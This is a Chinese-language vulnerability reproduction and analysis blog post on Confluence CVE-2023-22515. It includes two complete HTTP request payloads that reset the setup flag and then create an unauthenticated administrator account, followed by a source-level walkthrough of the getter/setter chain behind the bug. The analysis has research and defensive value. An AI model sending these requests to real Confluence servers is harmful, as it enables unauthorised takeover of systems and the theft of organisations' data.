【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]
2023-11-5 22:40:7 Author: 渗透安全团队(查看原文) 阅读量:60 收藏

麋鹿安全[ELK]

参考:

https://confluence.atlassian.com/conf85/database-setup-for-mysql-1283361000.html

文章目录:

0x01 漏洞概要0x02 漏洞复现0x03 环境搭建0x04 漏洞分析0x05 后续思考

{ # 漏洞概要 }

ELK

2023 年 10 月 4 日,Atlassian 发布了CVE-2023-22515 的通报,这是一个影响 Confluence Server 和 Confluence Data Center 漏洞

最初,Atlassian 将此漏洞描述为 权限提升 ,但此后他们将其重新分类为 Broken Access Control Attlassian 提供的 CVSS 分数为 10.0,利用简单,危害大

攻击者可以远程利用此漏洞,并且可以利用该漏洞在目标 Confluence 服务器上创建新的管理员帐户。这可能会导致服务器中保存的数据的完整性和机密性完全丧失

{ # 漏洞复现 }

ELK

POC&EXP地址

该漏洞利用十分简单,通过两个数据包就可完成添加管理员的操作

https://github.com/Chocapikk/CVE-2023-22515

首先发送添加管理员的数据包

Confluence 回显:Your confluence instance is already completely setupConfluence 已经完成设置

Payload 1 

GET /server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1Host: localhost:8090Accept: */*Accept-Encoding: gzip, deflateConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36X-Atlassian-Token: no-check

setupComplete=false 告诉 Confluence 未设置完成

 Payload 2

POST /setup/setupadministrator.action HTTP/1.1Host:127.0.0.1:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeX-Atlassian-Token: no-checkContent-Length: 122Content-Type: application/x-www-form-urlencoded
username=elk&fullName=elk&[email protected]&password=elk&confirm=elk&setup-next-button=Next

接着访问管理页面,成功创建新的管理员

{ # 环境搭建 }

ELK

具体的安装就不在累赘了,有几个踩坑点这里提醒下:

  • 需要配置jdbc的驱动包,官网下载mysql8相关版本的jar包,将其放在lib文件夹下

  • Windows版本通过对应服务控制启动

  • 在用mysql做支撑的时候,要修改参数,参考地址

    https://confluence.atlassian.com/conf85/database-setup-for-mysql-1283361000.html

由于我是用Windows进行的搭建,因此在此做代码调试

打开 bin 文件夹,控制台输入:

tomcat9w.exe //ES//Confluence301023213941

//ES//表示编辑服务的意思,会弹出一个服务属性窗口,可以对相关属性进行修改

为了调试,需要在 Java Options 输入框中加入如下选项,然后点击确定重启服务即可。

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5080

接着给IDEA配置远程调试,再导入Confluence需要的依赖包       (confluence\WEB-INF 文件夹)

{ # 漏洞分析 }

ELK

Confluence 是一个非常大的 Java 应用程序,基于 Apache Struts 框架构建。作为其中的一部分,XWork2 使用了该框架。XWork 框架允许通过 HTTP 请求中提供的 HTTP 参数来设置 Java 对象的参数

例如在程序中,调用了方法:getFormData().setName("Charles")

通过XWork进行http发送,就是:formData.name=Charles

如果getFormData() 返回 null,则使用默认构造器,再用setFormDat(Object object) 进行设置

step1 发送数据包:

  POST /setup/setupadministrator.action HTTP/1.1  Host:localhost:8090  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0  Accept-Encoding: gzip, deflate  Accept: */*  Connection: close  X-Atlassian-Token: no-check  Content-Length: 122  Content-Type: application/x-www-form-urlencoded    username=elk&fullName=elk&[email protected]&password=elk&confirm=elk&setup-next-button=Next

来到 SetupCheckInterceptor 拦截器,触发 intercept() 方法

BootstrapUtils.getBootstrapManager().isSetupComplete() 

ContainerManager.isContainerSetup()  

用于检查 Confluence 是否进行设置;

BootstrapUtils.getBootstrapManager()返回 DefaultAtlassianBootstrapManager 对象,

再调用isSetupComplete() 方法

public boolean isSetupComplete() {          return this.isBootstrapped() && this.applicationConfig.isSetupComplete();}

这里我估值,返回 alreadysetup

如果我们可以使isSetupCompletereturn false,则SetupCheckInterceptor不会返回 "alreadysetup",也就能对 Confluence实现"覆盖"

前面提到了,XWorks 允许 以HTTP的形式调用对象的setter 方法。我们需要识别一个未经身份验证的端点,其 Action 对象还公开一个合适的 get 方法,该方法将允许我们访问应用程序配置。

存在一个类:com.atlassian.confluence.core.actions.ServerInfoAction

基于 com.atlassian.confluence.core.ConfluenceActionSupport

public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {    // ...    public BootstrapStatusProvider getBootstrapStatusProvider() {    if (this.bootstrapStatusProvider == null)      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();     return this.bootstrapStatusProvider;  }  // ...}

它存在 getter方法,返回BootstrapStatusProviderImpl 

该对象实例,又存在 getter 方法,返回ApplicationConfiguration

public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
// ... public ApplicationConfiguration getApplicationConfig() { return this.delegate.getApplicationConfig(); } // ...}

该对象实例,存在 setter 方法,可以设置应用程序配置

public class ApplicationConfig implements ApplicationConfiguration {    // ...    public synchronized void setSetupComplete(boolean setupComplete) {        this.setupComplete = setupComplete;    }  // ...}

综合起来,调用栈为:

getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);

以http格式进行发送:bootstrapStatusProvider.applicationConfig.setupComplete=false

Step2 发送数据包,设置 setupComplete=false

GET /server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1Host: localhost:8090Accept: */*Accept-Encoding: gzip, deflateConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36X-Atlassian-Token: no-check

X-Atlassian-Token: no-check 头允许我们避免 XSRF 检查 com.atlassian.xwork.interceptors.XsrfTokenInterceptor

com.atlassian.config.ApplicationConfig#setSetupComplete处设置断点,估值为false

再进行第一步的流量包,此时出现了变化,我们已经能对Confluence进行"覆盖"

{ # 引发的思考 }

ELK

  1. 我们已经看到,此漏洞的根本原因是攻击者能够在未经身份验证的端点的 Action 对象上执行复杂的 getter/setter 方法,从而允许修改关键属性。通过修改setupComplete 属性值,攻击者创建新的管理员用户。

  2. 对于 Struts Action 公开 getter属性所返回的对象要重点关注,尤其注意这些对象中带有的 setter 方法;

  3. 有些对象可能带有隐含的 getter和 setter 方法,比如 Lombok 修饰的对象或者 Spring Bean 等,这类属性可能会被开发者忽略;

  4. 如果攻击者可以找到另一个合适的未经身份验证的端点,则 URI 路径可能与上述不同

  5. CVE-2023-22518 已经出现,虽然详细的分析还没出来,我们也不难猜到,除了针对特定action(例如/server-info.action继承于ConfluenceActionSupport(许多action也是如此))利用漏洞创建新的管理员用户之外,还有其他利用途径…….


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247511708&idx=2&sn=1521dde363ad8b33c7a872ce48d23679&chksm=c1765333f601da25d62767cef415c78327b310874feb580e35b78a82c86501c8e34ae1231a06&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh